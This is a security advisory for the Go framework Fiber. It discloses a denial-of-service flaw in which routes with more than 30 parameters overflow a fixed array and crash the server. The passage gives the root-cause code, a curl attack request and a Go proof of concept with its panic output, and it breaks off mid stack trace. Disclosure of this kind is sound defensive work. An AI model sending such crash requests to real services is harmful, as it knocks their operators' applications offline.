GitHub Security Advisory: GHSA-mrq8-rjmw-wpq3
Package: github.com/gofiber/fiber/v3 (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-129: Improper Validation of Array Index
Vulnerable versions: <= 3.0.0
Patched in: 3.1.0

Summary: Fiber has a Denial of Service Vulnerability via Route Parameter Overflow

Details:
A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.

## Affected Versions

- **Fiber v3.0.0-rc.3** and earlier v3 releases
- **Fiber v2.52.10** and potentially all v2 releases (confirmed exploitable)
- Both versions share the same vulnerable routing implementation

## Vulnerability Details

### Root Cause

Both Fiber v2 and v3 define a fixed-size parameter array in `ctx.go`:

```go
const maxParams = 30

type DefaultCtx struct {
    values [maxParams]string  // Fixed 30-element array
    // ...
}
```

The `router.go` `register()` function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in `path.go` performs an unbounded write:

- **v3**: `path.go:514`
- **v2**: `path.go:516`

```go
// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]
```

When `paramsIterator >= 30`, this triggers:
```
panic: runtime error: index out of range [30] with length 30
```

### Attack Scenario

1. Application registers route with >30 parameters (e.g., via code or dynamic routing):
   ```go
   app.Get("/api/:p1/:p2/:p3/.../p35", handler)
   ```

2. Attacker sends matching HTTP request:
   ```bash
   curl http://target/api/v1/v2/v3/.../v35
   ```

3. Server crashes during request processing with runtime panic

## Proof of Concept

### For Fiber v3

```go
package main

import (
	"fmt"
	"net/http"
	"time"
	"github.com/gofiber/fiber/v3"
)

func main() {
	app := fiber.New()
	
	// Register route with 35 parameters (exceeds maxParams=30)
	path := "/test"
	for i := 1; i <= 35; i++ {
		path += fmt.Sprintf("/:p%d", i)
	}
	
	fmt.Printf("Registering route: %s...\n", path[:50]+"...")
	app.Get(path, func(c fiber.Ctx) error {
		return c.SendString("Never reached")
	})
	fmt.Println("✓ Registration succeeded (NO PANIC)")
	
	go func() {
		app.Listen(":9999")
	}()
	time.Sleep(200 * time.Millisecond)
	
	// Build exploit URL with 35 parameter values
	url := "http://localhost:9999/test"
	for i := 1; i <= 35; i++ {
		url += fmt.Sprintf("/v%d", i)
	}
	
	fmt.Println("\n🔴 Sending exploit request...")
	fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")
	
	resp, err := http.Get(url)
	if err != nil {
		fmt.Printf("✗ Request failed: %v\n", err)
		fmt.Println("💥 Server crashed!")
	} else {
		fmt.Printf("Response: %d\n", resp.StatusCode)
		resp.Body.Close()
	}
}
```

**Output:**
```
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]:
github.com/gofiber/fiber/v3.(*routeParser).getMatch(...)
	/path/to/fi